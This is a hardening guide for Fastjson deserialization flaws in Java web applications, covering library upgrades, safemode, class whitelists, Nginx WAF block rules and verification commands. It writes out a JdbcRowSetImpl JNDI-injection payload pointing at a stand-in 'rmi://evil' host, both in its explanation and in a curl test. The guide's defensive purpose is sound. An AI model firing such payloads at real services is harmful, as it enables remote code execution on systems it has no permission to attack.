Fastjson Deserialization Vulnerability Defense in Practice: Code Audit and WAF Configuration Guide
From Fastjson deserialization exploit mechanics, a five-step defense: version upgrade, disable autoType, code whitelist, Nginx WAF blocking. Full configs and verification commands to close Java app deserialization attack entry points.
Applicable Scenarios
This article applies to all teams using Fastjson for JSON serialization and deserialization in Java web applications, including in-house APIs, third-party SDK integrations, and gateway authentication modules. When an application accepts client-supplied JSON strings and parses them with `JSON.parseObject()` / `JSON.parse()`, it sits on the Fastjson deserialization attack surface. Harden immediately using the steps below.
Prerequisites
- Server OS: Linux (CentOS 7+ / Ubuntu 20.04+), Java 8 or later installed
- Fastjson version located: run `find / -name "fastjson*.jar"` or inspect the Maven dependency tree `mvn dependency:tree | grep fastjson`
- Permission to modify the application codebase and the Nginx reverse-proxy configuration
Mechanism
The root of Fastjson deserialization vulnerabilities is autoType. To improve serialization performance, Fastjson allows a JSON string to specify the target class via the `@type` field. Attackers craft payloads such as `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true}`. During deserialization Fastjson invokes getters, setters, or specific methods on the target class, enabling JNDI injection and RCE. Since CVE-2017-18349 in 2017, bypasses have iterated more than ten rounds. Upgrading to a given safe version is not sufficient. Combine disabling autoType with traffic-layer interception.
Procedure
Step 1: Upgrade Fastjson to a Safe Version
Upgrade the dependency to 1.2.83+ (final safe 1.2.x) or the 2.0.x series. 2.x disables autoType by default and enables safemode by default. Maven config:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
After upgrade, run full regression tests. Focus on JSON field order and generic deserialization behavior.
Step 2: Enable safemode and Disable autoType
1.2.68+ supports safemode. Once enabled, `@type` is not parsed at all:
// Enable safemode globally (1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
// Or via system property
-Dfastjson.parser.safeMode=true
If the business must use autoType, switch to whitelist mode and allow only known business classes:
ParserConfig.getGlobalInstance().addAccept("com.example.entity.User");
ParserConfig.getGlobalInstance().addAccept("com.example.dto.");
Step 3: Converge Deserialization Entry Points in Code
- Do not parse arbitrary frontend JSON strings. Receive parameters through DTO objects only.
- Specify the target type on parse: `JSON.parseObject(json, User.class)`. Do not use bare `JSON.parse(json)`.
- Validate the `@type` field on input. Reject dangerous prefixes such as `java.lang`, `com.sun`, `org.apache` immediately.
Step 4: Nginx-Layer WAF Blocking
Add the following rules to the Nginx reverse-proxy config to intercept requests carrying `@type`:
# /etc/nginx/conf.d/fastjson-waf.conf
location /api/ {
# Block @type deserialization signatures
if ($request_body ~* "@type" ) { return 403; }
# Block JNDI injection signatures
if ($request_body ~* "JdbcRowSetImpl|JndiDataSourceFactory|rmi://|ldap://") {
return 403;
}
proxy_pass http://backend;
}
# Reload config
nginx -t && nginx -s reload
A more solid approach is a dedicated WAF (e.g. Baidu Cloud Protection) whose built-in deserialization rule set is continuously updated against bypass payloads.
Step 5: Runtime Fallback
Even after code-level hardening, upgrade the JDK to 8u191+ or 11.0.1+ and set JVM flags to disable remote loading:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
Config Verification
# 1. Verify autoType is disabled: the following request should return 500 or fail to parse
curl -X POST http://your-site.com/api/parse -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true}'
# 2. Verify WAF blocking: should return 403
curl -X POST http://your-site.com/api/upload -d '{"name":"t","@type":"java.lang.Runtime"}' -w "%{http_code}\n"
# 3. Check application logs for autoType-related alerts
tail -f /var/log/tomcat/catalina.out | grep -i "autoType"
FAQ
Q1: Business code uses autoType heavily. Closing it will cause production failures. What then?
Use a phased approach. Enable safemode in test for one week. Collect `autoType is not support` errors from logs. Add every legitimate class to the `addAccept` whitelist. Confirm nothing is missing, then canary to production.
Q2: After upgrading to 2.x, JSON parse errors or missing fields?
2.x reworked serialization. Common diffs include `@JSONField` `ordinal` behavior and default date-format output. Set features such as `SerializerFeature.WriteMapNullValue` explicitly on `JSONObject.toJSONString`, and run field-level diffs against production payloads.
Summary
Fastjson deserialization defense requires four layers working together: version upgrade + disable autoType + whitelist + traffic interception. Any single control has been bypassed. Core principle: never trust class names supplied by the client. After completing every step in this article, defense against known and unknown deserialization payloads improves substantially. Pair with a WAF that continuously updates its rule set to close the defense-in-depth loop.